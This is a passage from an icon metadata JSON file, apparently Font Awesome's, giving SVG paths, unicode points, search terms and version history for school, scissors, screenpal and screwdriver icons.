107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"
      }
    },
    "free": ["brands"]
  },
  "school": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3eb"],
        "secondary": ["10f549"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "education",
        "learn",
        "school",
        "student",
        "teacher"
      ]
    },
    "styles": ["solid"],
    "unicode": "f549",
    "label": "School",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM256 416c0-35.3 28.7-64 64-64s64 28.7 64 64v96H256V416zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V208zM96 320h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V336zM232 176a88 88 0 1 1 176 0 88 88 0 1 1 -176 0zm88-48c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM256 416c0-35.3 28.7-64 64-64s64 28.7 64 64v96H256V416zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V208zM96 320h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm400 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H512c-8.8 0-16-7.2-16-16V336zM232 176a88 88 0 1 1 176 0 88 88 0 1 1 -176 0zm88-48c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "school-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["not affected", "ok", "okay", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56b",
    "label": "School Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-99.3-43.3c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-99.3-43.3c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7z"
      }
    },
    "free": ["solid"]
  },
  "school-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56c",
    "label": "School Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "school-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["destroy", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56d",
    "label": "School Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm22.6-144l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L518.6 368z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M337.8 5.4C327-1.8 313-1.8 302.2 5.4L166.3 96H48C21.5 96 0 117.5 0 144V464c0 26.5 21.5 48 48 48H320v0H256V416c0-35.3 28.7-64 64-64l.3 0h.5c3.4-37.7 18.7-72.1 42.2-99.1C350.2 260 335.6 264 320 264c-48.6 0-88-39.4-88-88s39.4-88 88-88s88 39.4 88 88c0 18.3-5.6 35.3-15.1 49.4c29-21 64.6-33.4 103.1-33.4c59.5 0 112.1 29.6 144 74.8V144c0-26.5-21.5-48-48-48H473.7L337.8 5.4zM96 192h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V208c0-8.8 7.2-16 16-16zm0 128h32c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM320 128c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H336V144c0-8.8-7.2-16-16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm22.6-144l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6L518.6 368z"
      }
    },
    "free": ["solid"]
  },
  "school-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["educate", "flag", "school", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56e",
    "label": "School Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0H400c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H320.7l89.6 64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H336V400c0-26.5-21.5-48-48-48s-48 21.5-48 48V512H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64H165.7L256 95.5V32c0-17.7 14.3-32 32-32zm48 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM80 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm368 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16zM80 352c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H80zm384 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H464z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0H400c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H320.7l89.6 64H512c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H336V400c0-26.5-21.5-48-48-48s-48 21.5-48 48V512H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64H165.7L256 95.5V32c0-17.7 14.3-32 32-32zm48 240a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM80 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm368 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16zM80 352c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H80zm384 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H464z"
      }
    },
    "free": ["solid"]
  },
  "school-lock": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "lockdown", "quarantine", "schoolhouse"]
    },
    "styles": ["solid"],
    "unicode": "e56f",
    "label": "School Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M302.2 5.4c10.7-7.2 24.8-7.2 35.5 0L473.7 96H592c26.5 0 48 21.5 48 48V272c0-61.9-50.1-112-112-112s-112 50.1-112 112v24.6c-19.1 11.1-32 31.7-32 55.4H320.3l-.3 0c-35.3 0-64 28.7-64 64v96h64v0H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48H166.3L302.2 5.4zM80 208v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm0 128v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm240-72a88 88 0 1 0 0-176 88 88 0 1 0 0 176zm16-120v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16zm192 96c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M302.2 5.4c10.7-7.2 24.8-7.2 35.5 0L473.7 96H592c26.5 0 48 21.5 48 48V272c0-61.9-50.1-112-112-112s-112 50.1-112 112v24.6c-19.1 11.1-32 31.7-32 55.4H320.3l-.3 0c-35.3 0-64 28.7-64 64v96h64v0H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48H166.3L302.2 5.4zM80 208v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm0 128v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-8.8-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zm240-72a88 88 0 1 0 0-176 88 88 0 1 0 0 176zm16-120v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H320c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16zm192 96c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "scissors": {
    "aliases": {
      "names": ["cut"],
      "unicodes": {
        "composite": ["2700", "2702", "2704"],
        "secondary": ["10f0c4"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Safety Scissors",
        "White Scissors",
        "clip",
        "cutting",
        "scissors",
        "snip",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c4",
    "label": "Scissors",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 192l-39.5-39.5c4.9-12.6 7.5-26.2 7.5-40.5C224 50.1 173.9 0 112 0S0 50.1 0 112s50.1 112 112 112c14.3 0 27.9-2.7 40.5-7.5L192 256l-39.5 39.5c-12.6-4.9-26.2-7.5-40.5-7.5C50.1 288 0 338.1 0 400s50.1 112 112 112s112-50.1 112-112c0-14.3-2.7-27.9-7.5-40.5L499.2 76.8c7.1-7.1 7.1-18.5 0-25.6c-28.3-28.3-74.1-28.3-102.4 0L256 192zm22.6 150.6L396.8 460.8c28.3 28.3 74.1 28.3 102.4 0c7.1-7.1 7.1-18.5 0-25.6L342.6 278.6l-64 64zM64 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm48 240a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 192l-39.5-39.5c4.9-12.6 7.5-26.2 7.5-40.5C224 50.1 173.9 0 112 0S0 50.1 0 112s50.1 112 112 112c14.3 0 27.9-2.7 40.5-7.5L192 256l-39.5 39.5c-12.6-4.9-26.2-7.5-40.5-7.5C50.1 288 0 338.1 0 400s50.1 112 112 112s112-50.1 112-112c0-14.3-2.7-27.9-7.5-40.5L499.2 76.8c7.1-7.1 7.1-18.5 0-25.6c-28.3-28.3-74.1-28.3-102.4 0L256 192zm22.6 150.6L396.8 460.8c28.3 28.3 74.1 28.3 102.4 0c7.1-7.1 7.1-18.5 0-25.6L342.6 278.6l-64 64zM64 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm48 240a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "screenpal": {
    "changes": ["6.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e570",
    "label": "Screenpal",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233.5 22.49C233.5 10.07 243.6 0 256 0C268.4 0 278.5 10.07 278.5 22.49C278.5 34.91 268.4 44.98 256 44.98C243.6 44.98 233.5 34.91 233.5 22.49zM313.4 259C313.4 290.7 287.7 316.4 256 316.4C224.3 316.4 198.6 290.7 198.6 259C198.6 227.3 224.3 201.6 256 201.6C287.7 201.6 313.4 227.3 313.4 259zM337.2 350C359.5 330.1 373.7 302.7 377.1 273H496.6C493.1 334.4 466.2 392.2 421.4 434.4C376.7 476.6 317.5 500.2 256 500.2C194.5 500.2 135.3 476.6 90.56 434.4C45.83 392.2 18.94 334.4 15.39 273H135.1C138.5 302.7 152.7 330.1 175 350C197.3 369.9 226.2 380.9 256.1 380.9C285.1 380.9 314.8 369.9 337.2 350zM73.14 140.3C73.54 152.7 63.81 163.1 51.39 163.5C38.97 163.9 28.59 154.2 28.18 141.8C27.78 129.3 37.52 118.9 49.94 118.5C62.35 118.1 72.74 127.9 73.14 140.3zM438.9 141C438.9 128.6 448.9 118.5 461.4 118.5C473.8 118.5 483.8 128.6 483.8 141C483.8 153.5 473.8 163.5 461.4 163.5C448.9 163.5 438.9 153.5 438.9 141zM317.9 95.27C300.6 109.1 278.7 118.1 256 118.1C233.3 118.1 211.4 109.1 194.1 95.27C176.8 80.55 165.3 60.18 161.7 37.78C176.8 31.37 192.5 26.52 208.6 23.31C208.6 35.88 213.6 47.93 222.5 56.82C231.4 65.7 243.4 70.7 256 70.7C268.6 70.7 280.6 65.7 289.5 56.82C298.4 47.93 303.4 35.88 303.4 23.31C319.5 26.52 335.2 31.37 350.3 37.78C346.7 60.18 335.2 80.55 317.9 95.27H317.9zM82.78 231C61.42 238.6 38.06 238.4 16.86 230.4C18.82 214.1 22.46 198.1 27.71 182.5C33.1 185.6 39.05 187.6 45.22 188.5C51.39 189.3 57.67 188.9 63.68 187.3C69.69 185.6 75.33 182.9 80.27 179.1C85.21 175.3 89.36 170.6 92.47 165.2C95.58 159.8 97.61 153.8 98.42 147.7C99.23 141.5 98.83 135.2 97.22 129.2C95.61 123.2 92.83 117.6 89.04 112.6C85.25 107.7 80.53 103.5 75.14 100.4C85.96 88.11 98.01 76.94 111.1 67.07C128.7 81.42 140.6 101.6 144.7 123.9C148.8 146.2 144.8 169.3 133.5 188.9C122.1 208.5 104.1 223.4 82.78 231V231zM429.2 231.1C407.9 223.5 389.9 208.5 378.5 188.9C367.2 169.3 363.3 146.2 367.4 123.9C371.5 101.7 383.4 81.54 400.9 67.19C414 77.04 426.1 88.21 436.9 100.5C426.2 106.9 418.5 117.2 415.4 129.3C412.2 141.3 413.1 154.1 420.2 164.9C426.4 175.7 436.6 183.6 448.6 186.9C460.6 190.2 473.5 188.6 484.3 182.6C489.6 198.1 493.2 214.2 495.2 230.4C473.1 238.5 450.6 238.7 429.2 231.1L429.2 231.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233.5 22.49C233.5 10.07 243.6 0 256 0C268.4 0 278.5 10.07 278.5 22.49C278.5 34.91 268.4 44.98 256 44.98C243.6 44.98 233.5 34.91 233.5 22.49zM313.4 259C313.4 290.7 287.7 316.4 256 316.4C224.3 316.4 198.6 290.7 198.6 259C198.6 227.3 224.3 201.6 256 201.6C287.7 201.6 313.4 227.3 313.4 259zM337.2 350C359.5 330.1 373.7 302.7 377.1 273H496.6C493.1 334.4 466.2 392.2 421.4 434.4C376.7 476.6 317.5 500.2 256 500.2C194.5 500.2 135.3 476.6 90.56 434.4C45.83 392.2 18.94 334.4 15.39 273H135.1C138.5 302.7 152.7 330.1 175 350C197.3 369.9 226.2 380.9 256.1 380.9C285.1 380.9 314.8 369.9 337.2 350zM73.14 140.3C73.54 152.7 63.81 163.1 51.39 163.5C38.97 163.9 28.59 154.2 28.18 141.8C27.78 129.3 37.52 118.9 49.94 118.5C62.35 118.1 72.74 127.9 73.14 140.3zM438.9 141C438.9 128.6 448.9 118.5 461.4 118.5C473.8 118.5 483.8 128.6 483.8 141C483.8 153.5 473.8 163.5 461.4 163.5C448.9 163.5 438.9 153.5 438.9 141zM317.9 95.27C300.6 109.1 278.7 118.1 256 118.1C233.3 118.1 211.4 109.1 194.1 95.27C176.8 80.55 165.3 60.18 161.7 37.78C176.8 31.37 192.5 26.52 208.6 23.31C208.6 35.88 213.6 47.93 222.5 56.82C231.4 65.7 243.4 70.7 256 70.7C268.6 70.7 280.6 65.7 289.5 56.82C298.4 47.93 303.4 35.88 303.4 23.31C319.5 26.52 335.2 31.37 350.3 37.78C346.7 60.18 335.2 80.55 317.9 95.27H317.9zM82.78 231C61.42 238.6 38.06 238.4 16.86 230.4C18.82 214.1 22.46 198.1 27.71 182.5C33.1 185.6 39.05 187.6 45.22 188.5C51.39 189.3 57.67 188.9 63.68 187.3C69.69 185.6 75.33 182.9 80.27 179.1C85.21 175.3 89.36 170.6 92.47 165.2C95.58 159.8 97.61 153.8 98.42 147.7C99.23 141.5 98.83 135.2 97.22 129.2C95.61 123.2 92.83 117.6 89.04 112.6C85.25 107.7 80.53 103.5 75.14 100.4C85.96 88.11 98.01 76.94 111.1 67.07C128.7 81.42 140.6 101.6 144.7 123.9C148.8 146.2 144.8 169.3 133.5 188.9C122.1 208.5 104.1 223.4 82.78 231V231zM429.2 231.1C407.9 223.5 389.9 208.5 378.5 188.9C367.2 169.3 363.3 146.2 367.4 123.9C371.5 101.7 383.4 81.54 400.9 67.19C414 77.04 426.1 88.21 436.9 100.5C426.2 106.9 418.5 117.2 415.4 129.3C412.2 141.3 413.1 154.1 420.2 164.9C426.4 175.7 436.6 183.6 448.6 186.9C460.6 190.2 473.5 188.6 484.3 182.6C489.6 198.1 493.2 214.2 495.2 230.4C473.1 238.5 450.6 238.7 429.2 231.1L429.2 231.1z"
      }
    },
    "free": ["brands"]
  },
  "screwdriver": {
    "aliases": {
      "unicodes": {
        "composite": ["1fa9b"],
        "secondary": ["10f54a"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "fix",
        "mechanic",
        "repair",
        "screw",
        "screwdriver",
        "settings",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54a",
    "label": "Screwdriver",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
